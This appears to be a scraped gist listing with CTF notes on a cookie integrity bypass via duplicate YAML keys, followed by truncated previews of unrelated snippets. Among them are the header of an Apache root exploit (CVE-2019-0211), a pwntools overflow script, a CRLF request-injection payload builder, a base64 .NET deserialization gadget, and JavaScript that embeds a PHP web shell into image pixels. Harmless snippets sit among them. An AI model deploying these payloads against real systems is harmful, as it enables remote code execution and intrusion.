-
Guessed integrity check :
user : hash : b64_encoded_info
in cookieuser
-
info in YAML format
-
Some YAML parsers allow to redefine the same key, that replaces the old value
-
We have a hint : /src-code/ contains a swp file, original file was removed. It's easy to extract from it the src code of the web app. Of course it's a double-key permissive YAML parser
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation | |
# Charles Fol | |
# @cfreal_ | |
# 2019-04-08 | |
# | |
# INFOS | |
# | |
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html | |
# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Unit] | |
Description=BIRD routing daemon | |
#After=network-online.target | |
#Wants=network-online.target | |
After=network.target | |
[Service] | |
Type=forking | |
ExecStart=/usr/sbin/bird -c /etc/bird.conf -u bird -g bird | |
ExecReload=/usr/bin/birdc configure |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from struct import * | |
seip_offset = 72 | |
def main(): | |
context(arch='amd64', os='linux') | |
# ASLR + NX bit | |
binary = ELF("samples/classic.elf64") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import subprocess | |
import time | |
# https://github.com/eboda/mersenne-twister-recover | |
from MTRecover import MT19937Recover | |
class Netcat: | |
def __init__(self, ip, port): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import bson | |
CRLF = '\\u000D\\u000A' | |
def make_payload(url, inject_config): | |
inject_hostname = "localhost" | |
pld = url + " HTTP/1.1" + CRLF | |
pld += "Host: " + inject_hostname + CRLF | |
pld += "Accept-Encoding: identity" + CRLF |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
pld = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" + \ | |
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" + \ | |
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" + \ | |
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD" + \ | |
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl" + \ | |
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU" + \ | |
"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl" + \ | |
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90" + \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var phpcode = "die(shell_exec($_GET['b']));"; | |
var pld = " <?php \r\n"+phpcode+"\r\n//"; | |
var canvas = document.createElement("canvas"); | |
var ctx = canvas.getContext('2d'); | |
var pos = 0, r, g, b; | |
for(var i=0; i<32; ++i) { | |
for(var j=0; j<32; ++j) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* ModSecurity for Apache 2.x, http://www.modsecurity.org/ | |
* Copyright (c) 2004-2013 Trustwave Holdings, Inc. (http://www.trustwave.com/) | |
* | |
* You may not use this file except in compliance with | |
* the License. You may obtain a copy of the License at | |
* | |
* http://www.apache.org/licenses/LICENSE-2.0 | |
* | |
* If any of the files related to licensing are missing or if you have any |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install ruby ruby-dev python2.7 python2.7-dev | |
sudo gem install ffi | |
sudo gem install rubypython | |
cd /usr/lib | |
# For ubuntu 14.04(AMD64/x86_64) | |
sudo ln -s /usr/lib/python2.7/config-x86_64-linux-gnu/libpython2.7.so | |
sudo ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so.1.0 | |
# For ubuntu 14.04(x86) | |
sudo ln -s /usr/lib/python2.7/config-i386-linux-gnu/libpython2.7.so |